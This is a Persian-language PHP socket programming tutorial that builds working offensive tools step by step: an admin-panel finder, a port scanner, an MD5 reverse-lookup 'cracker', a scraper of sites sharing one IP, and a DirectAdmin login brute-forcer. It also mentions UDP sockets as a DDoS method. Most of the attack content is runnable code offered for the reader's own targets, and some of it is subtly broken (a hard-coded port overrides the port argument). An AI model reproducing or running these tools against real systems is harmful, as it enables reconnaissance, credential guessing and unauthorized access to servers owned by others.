آموزش سوکت نویسی در PHP

درود به دوستان عزیز امیدوارم حالتون خوب باشه .در این جا قصد دارم که آموزش برنامه نویسی شبکه در php رو بهتون یاد بدم و در آخر هم چند برنامه(پیشمایش پورت, پیدا کردن صفحه ادمین,پیدا کردن سایت های روی یک سرور) رو آموزش می دم.در اینجا آموزش کار با توابع سوکت در php و ارسال و دریافت اطلاعات و .... رو یاد میگیرید .سوکت هم مانند cURL میتونید در فایل php.ini فعال کنید که بتونید ازش استفادع کنید .این اکستنشن هم باز در ویندوز با نام php_sockets.dll و در لینوکس با نام sockets.so قابل مشاهده هست .برای فعال کردن کافیه به php.ini رفته و extension=php_sockets.dll رو پیدا کرده و ; قبل از اونو بردارید سپس وب سرور خود رو ری استارت کنید . حالا میتونید ازش استفاده کنید . با سپاسخب دوستان عزیز بریم سراغ آموزشبرای برنامه نویسی شبکه یا سوکت php توابعی متخلف و زیادی رو داره که در اینجا به آموزش و بررسی اونا می پردازیم.برای ارتباط با یک سرویس دهنده باید یک سوکتی ایجاد بشه که php توابع مختلفی رو روی ورژن های مختلف ارایه میدهتابع fsockopen(target,port,error,errstr,timeout) برای ایجاد سوکت به یک مقصد خاص استفاده میشود.این تابع 2 آرگومان ضروری و 3 تا غیر ضروری میگیرهآرگومان اول مقصد مورد نظر هست برای مثال www.google.comOR192.168.1.1 اگر php شما opnessl رو هم ساپورت کنه میتونید به ssl هم وصل بشید .آرگومان دوم شماره پورت هست برای مثال 80 25 و ...آرگومان سوم و چهارم به روش ارجاعی به تابع وصل میشن. آرگومان آخر هم زمانی هست که میخوای روی سوکت کار بشه.تابع fscokopen() یک اشاره گر فایل بر میگردونه که میشه با توابع فایل ها مثل fputs , fgets و ... باهاش کار کرد.اگر تابع نتونه اتصالی بگیره false رو بر میگردونه که اگر هم آرگومان سوم و چهارم پر شده باشد میتونید اررور هارو بگیرید . خب بریم سراغ مثال . به کد زیر توجه کنید :$socket = fsockopen("www.bing.com",80,$errno,$errstr);if(!$socket){ echo $errstr; exit;}$header = "GET / HTTP/1.1\r\n";$header .= "Host: www.bing.com\r\n";$header .= "User-Agent: ".$_SERVER["HTTP_USER_AGENT"]."\r\n";$header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";$header .= "Connection: keep-alive\r\n\r\n";fwrite($socket,$header);while(!feof($socket)) echo fgets($socket);خب اگر کد بالارو اجرا کنید خروجی شما صفحه اول سایت bing.com خواهد بود.حالا اگر دقت کرده باشید با توجه به هدری که نوشتیم ما درخواست نمایش صفحه اول رو کرده بودیم که جواب هم مطابق میلمان بود.حال اگر صفحه خاصی رو میخواستیم ببینیم چطور ؟ برای مثال میخوایم صفحه http://www.bing.com/profile/history?FORM=Z9LH5 رو ببنیم خب کافیه این درخواستمون رو توی هدر به سوکت php بگیم.به قطعه کد زیر توجه کنید :$socket = fsockopen("www.bing.com",80,$errno,$errstr);if(!$socket){ echo $errstr; exit;}$header = "GET /profile/history?FORM=Z9LH5 HTTP/1.1\r\n";$header .= "Host: www.bing.com\r\n";$header .= "User-Agent: ".$_SERVER["HTTP_USER_AGENT"]."\r\n";$header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";$header .= "Connection: keep-alive\r\n\r\n";fwrite($socket,$header);while(!feof($socket)) echo fgets($socket); این خط $header = "GET /profile/history?FORM=Z9LH5 HTTP/1.1\r\n"; رو تغییر دادیم.حالا فرض کنید ما فقط می خواستیم ببینیم اون صفحه وجود داره یا نه (کاری که اکثر ادیمن فایندر ها انجام می دهند)خب جواب از وب سرور توی خط اول مشخص میشه و تابع fgets هم که یک خط رو میخونه پس while(!feof($socket)) echo fgets($socket);رو به $result = fgets($socket);تغییر میدیم . حالا مقدار بازگشتی توی $result هست حالا باید مقدار رو چک کنیم. از preg_match() کمک می گیریم (آموزشش رو گذاشتم پیدا کنید) پس کد بالا رو به کد زیر تغییر میدیم$socket = fsockopen("www.bing.com",80,$errno,$errstr);if(!$socket){ echo $errstr; exit;}$header = "GET /profile/history?FORM=Z9LH5 HTTP/1.1\r\n";$header .= "Host: www.bing.com\r\n";$header .= "User-Agent: ".$_SERVER["HTTP_USER_AGENT"]."\r\n";$header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";$header .= "Connection: keep-alive\r\n\r\n";fwrite($socket,$header);$result = fgets($socket);if(preg_match("/200 OK /",$result))echo "found";elseecho "not found";اگر کد بالارو اجرا کنید خروجی شما found خواهد بود. (حالا برای خودتون با یک صفحه نامعتبر امتحان کنید)خب نظرتون چیه یکم کد رو پیشرفته ترش کنیم ؟ اگر وضعیت 302 بود چی ؟ ممکن هست بخوایم با توجه به مقادیر بازگشتی خاص عمل خاصی رو انجام بدیم مثلا می خوایم اگر 302 مقدار بازگشتی بود صفحه رو دنبال کنیم . خب اول بیایم کد رو بهتر کنیم برای این کار یک تابع تعریف می کنم که این کارو انجام بده .به قطعه کد زیر توجه کنید :echo load_url("www.bing.com","/profile/history?FORM=Z9LH5");function load_url($url,$page){ $socket = fsockopen($url,80,$errno,$errstr); if(!$socket) { echo $errstr; exit; } $header = "GET $page HTTP/1.1\r\n"; $header .= "Host: $url\r\n"; $header .= "User-Agent: ".$_SERVER["HTTP_USER_AGENT"]."\r\n"; $header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $header .= "Connection: keep-alive\r\n\r\n"; fwrite($socket,$header); $result = fgets($socket); if(preg_match("/\s(\d+)\s/",$result,$number)) return $number[0]; else return null; } کد قبل رو به کد بالا تبدیل کردم حالا یک تابع دارم یک سایت و صفحه رو میگیره و عدد بازگشتی هدر رو برام برمیگردونه.حالا می تونیم یک ادمین فایندر بنویسم.کافیه لیست سایت هارو بگیریم و صفحه هایی که قرار چک بشه و بدیم به تایع و مقدار بازگشتی رو چک کنیم.(دقت کنید اگر توی آدرس سایت http:// بود باید حذفش کنید)البته کد بالا خیلی مشکلات داره که با خلاقیت خودتون می تونید بهترش کنید و توسعه بدید. برای مثال یکی از مشکلات پیغام 302 هست که یعنی به یک صفحه دیگه ریدایرکت میشه نظرتون چیه این 302 هارو دنبال کنیم ؟به کد زیر توجه کنید:$body = load_url("google.com","/");if($body){ echo $body;}else{ echo "null";}function load_url($url,$page){ $socket = fsockopen($url,80,$errno,$errstr); if(!$socket) { echo $errstr; exit; } $header = "GET $page HTTP/1.1\r\n"; $header .= "Host: $url\r\n"; $header .= "User-Agent: ".$_SERVER["HTTP_USER_AGENT"]."\r\n"; $header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $header .= "Connection: keep-alive\r\n\r\n"; fwrite($socket,$header); $result = fgets($socket); $returnBody = ""; if(preg_match("/\s(\d+)\s/",$result,$status)) { switch($status[1]) { case "200": while(!feof($socket)) { $returnBody .= fgets($socket); } return $returnBody; case "301": case "302": do { $url = fgets($socket); }while(!preg_match("/Location: (http:\/\/)?(.*)/",$url,$redirect)); $splitUrl = explode("/",$redirect[2]); $url = $splitUrl[0]; $page = "/".$splitUrl[1]; return load_url($url,$page); default: return $status[1]; } }من اینو بازگشتی و به این ترتیب نوشتم شما می تونید به طریقه دیگه ای بنویسید.(توی این روش که من نوشتم کد راحت شد ولی چون بازگشتی هست خودتون بهتر می دونید اگر تعداد ریدایرکت ها زیاد بشن برنامه چطور میشه ;) )اگر دقت کرده باشید می تونید با fsockopen() برای خودتون پورت اسکنرطراحی کنید.به قطعه کد زیر توجه کنید : $openPorts = array(); $closePorts = array(); $ip = "192.168.1.1"; for($i = 20 ; $i < 100 ; $i++) { $socket = @fsockopen($ip,$i); if($socket) { $openPorts[] = $i; }else { $closePorts[] = $i; } fclose($socket); } echo "open ports : <br />"; print_r($openPorts); echo "<br />close ports : <br />"; print_r($closePorts);با کمی خلاقیت می تونید کد های جالب تر و کاربردی تری بنویسید (اینجا قصد من نوشتن پورت اسکنر نبود چون برای پورت اسکنر تارگت می تونه روی نحوه ی کد نوشتن و حتا پروتکل و … تاثیر بزاره اینجا فقط خواستم بگم که میشه کارای جالبی کرد که دیگه بستگی به خودتون داره) خب نظرتون چیه یک md5 کرکر با یک سایت بنویسیم ؟من از hashtoolkit.com و md5decryption.com کمک گرفتم شما میتونید از سایت های دیگه کمک بگیرید . (مثالی بود هم برای get و هم برای post)توی cURL هم یک نمونه می نویسیم.if(isset($_POST['submit']) && isset($_POST['hash'])){ $hash = $_POST['hash']; if(!empty($hash) && strlen($hash) == 32) { md5decryption_com($hash); hashtoolkit_com($hash); }else { echo "<br />hash is not valid <br />"; } }else{ echo " <form action='' method='post'> Hash : <input type='text' name='hash' value=''> <br /> <input type='submit' name='submit' value='Crack'> </form> ";} function hashtoolkit_com($hash){ $body = get_data("hashtoolkit.com","/reverse-hash/?hash=$hash"); if(preg_match("#<td class=\"res\-text\">\s*<span>(.*)</span>#",$body,$find)) echo $find[1]."<br />"; else echo "regex not found"; }function get_data($domain,$path){ $header = "GET $path HTTP/1.1\r\n". "Host: $domain\r\n". "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n". "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n". "Referer: http://$domain$path\r\n". "Connection: keep-alive\r\n\r\n"; $socket = fsockopen($domain,80,$errno,$error); if(!$socket) return $error; $result = ""; fwrite($socket,$header); while(!feof($socket)) $result .= fgets($socket); fclose($socket); return $result; }function md5decryption_com($hash){ $body = post_data("md5decryption.com","/","hash=$hash&submit=Decrypt+It%21"); if(preg_match("/Decrypted Text: <\/b>(.*)<\/font>/",$body,$find)) echo $find[1]."<br />"; else echo "regex not found"; }function post_data($domain,$path,$data){ $header = "POST $path HTTP/1.1\r\n". "Host: $domain\r\n". "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n". "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n". "Referer: http://$domain$path\r\n". "Connection: keep-alive\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Content-Length: ".strlen($data)."\r\n\r\n". "$data\r\n"; $socket = fsockopen($domain,80,$errno,$error); if(!$socket) return $error; $result = ""; fwrite($socket,$header); while(!feof($socket)) $result .= fgets($socket); fclose($socket); return $result; }خب نظرتون چیه اون برنامه که سایت های روی سرور رو در می آورد و با cURL نوشتیم با سوکت هم بنوسیم ؟به قطعه کد زیر توجه کنید :if(isset($_POST['submit']) && isset($_POST['ip'])){ $ip = $_POST['ip']; if(!empty($ip)) { find($ip); }else { echo "<br />ip is not valid <br />"; } }else{ echo " <form action='' method='post'> Hash : <input type='text' name='ip' value=''> <br /> <input type='submit' name='submit' value='find'> </form> ";}function find($ip){ $myPattern = "#<cite>(.*?)</cite><span class#"; $cnt=1; $nextpage=true; $sites = array(); while($nextpage) { if($cnt==1) $path="/search?q=ip%3A$ip&qs=n&form=QBRE&pq=ip%3A$ip&sc=0-0&sp=-1&sk="; else $path="/search?q=ip%3a$ip&qs=n&pq=ip%3a$ip&sc=0-0&sp=-1&sk=&first=$cnt&FORM=PERE"; $result = get_data("www.bing.com","$path"); if(preg_match_all($myPattern,$result,$find)) { $urls = preg_replace("/<\/?strong>/","",$find[1]); $sites[] = $urls; } if(preg_match("/class\=\"sb_pagN\"/",$result)) $cnt+=10; else $nextpage=false; }}function get_data($domain,$path){ $header = "GET $path HTTP/1.1\r\n". "Host: $domain\r\n". "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n". "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n". "Referer: http://$domain$path\r\n". "Connection: keep-alive\r\n\r\n"; $socket = fsockopen($domain,80,$errno,$error); if(!$socket) return $error; $result = ""; fwrite($socket,$header); while(!feof($socket)) $result .= fgets($socket); fclose($socket); return $result; }خب آموزش هارو یاد گرفتید فقط چندتا مثال می زنم دیگه تمومه (اگر میدونید چیز بیشتری نیاز دارید بگید بزارم)قبل از نوشتن یک برنامه بروت برای دایرکت ادیمن قبلش یه نکته ای رو بگم . ما از fsockopen() برای پروتکل tcp ip استفاده کردیم می تونید با udp هم کار کنید.به صورت زیر$fp=fsockopen("udp://127.0.0.1",13,$errno,$error);(یکی از بی شمار روش برای دی داس-حملات تکذیب سرور-)خب بریم سراغ بروت فورس ؟خب اول یک دایرکت ادمین پیدا می کنیم بعد با یوزر پاس درست وارد میشیم و هدر رو چک می کنیم و یک بار هم با یوزر پاس نادرست این کارو انجام می دیم (میشه برای تشخیص بن شدن هم این کارو تکرار کنید تا ارور هنگام بن شدن هم بتونید مدیریت کنید) بعد طبق اون الگو برنامه رو پیش می بریمخب من یک دایرکت ادیمنو لوگین کردم هدر رو نگاه کردیم شبیه زیر بود"POST /CMD_LOGIN HTTP/1.1\r\n""Host: TARGET \r\n""User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n""Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n""Referer: http://TARGET/CMD_LOGIN\r\n""Connection: keep-alive\r\n""Content-Type: application/x-www-form-urlencoded\r\n";"referer=%2FCMD_LOGIN&username=user&password=pass\r\n";خب وقتی یوزر پاس درست بود خط اول هدر این بودHTTP/1.1 302 Foundاما وقتی نادرست بود به شکل زیر بودHTTP/1.1 200 OKپس من خط اول هدر رو چک می کنم اگه 302 Found که یعنی درست و اگر 200 OK یعنی غلطپس کد زیر رو نوشتمif(isset($_POST['submit']) && isset($_POST['domain'])){ $domain = $_POST['domain']; if(!empty($domain)) { $user = "test"; $pass = "test"; if(brute_force($domain,$user,$pass,2222)) echo "haha cracked $domain user : $user pass : $pass ... <br />"; }else { echo "<br />domian is not valid <br />"; } }else{ echo " <form action='' method='post'> Hash : <input type='text' name='domain' value=''> <br /> <input type='submit' name='submit' value='brute force'> </form> ";}function brute_force($domain,$user,$pass,$port){ $data = "referer=%2FCMD_LOGIN&username=$user&password=$pass"; $result = get_data($domain,$data,$port); if(preg_match("/302 Found/",$result)) return true; else return false;}function get_data($domain,$data,$port){ $header = "POST /CMD_LOGIN HTTP/1.1\r\n"; $header .= "Host: ".$domain."\r\n"; $header .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n"; $header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $header .= "Referer: http://".$domain."/CMD_LOGIN\r\n"; $header .= "Connection: keep-alive\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: ".strlen($data)."\r\n\r\n"; $header .= $data."\r\n"; $socket = fsockopen($domain,4041,$errno,$error); if(!$socket) echo $error; fwrite($socket,$header); $result = fgets($socket); fclose($socket); return $result; }این واسه یک سایت بود شما می تونید توسعه بدید . (یوزر و پاس هم من اینجا یکی گذاشتم که شما باید لیست درست کنید و برنامه رو بهبود بدید و فقط هدفم نشون دادن صورت کلی برنامه بود)دوستان بحث سوکت نویسی رو همینجا خاتمه میدم اگر می دونید آموزش خاص و یا چیزایی کم بود و شما نیاز دارید بگید که ادامه بدم و براتون تهیه کنیم.سپاس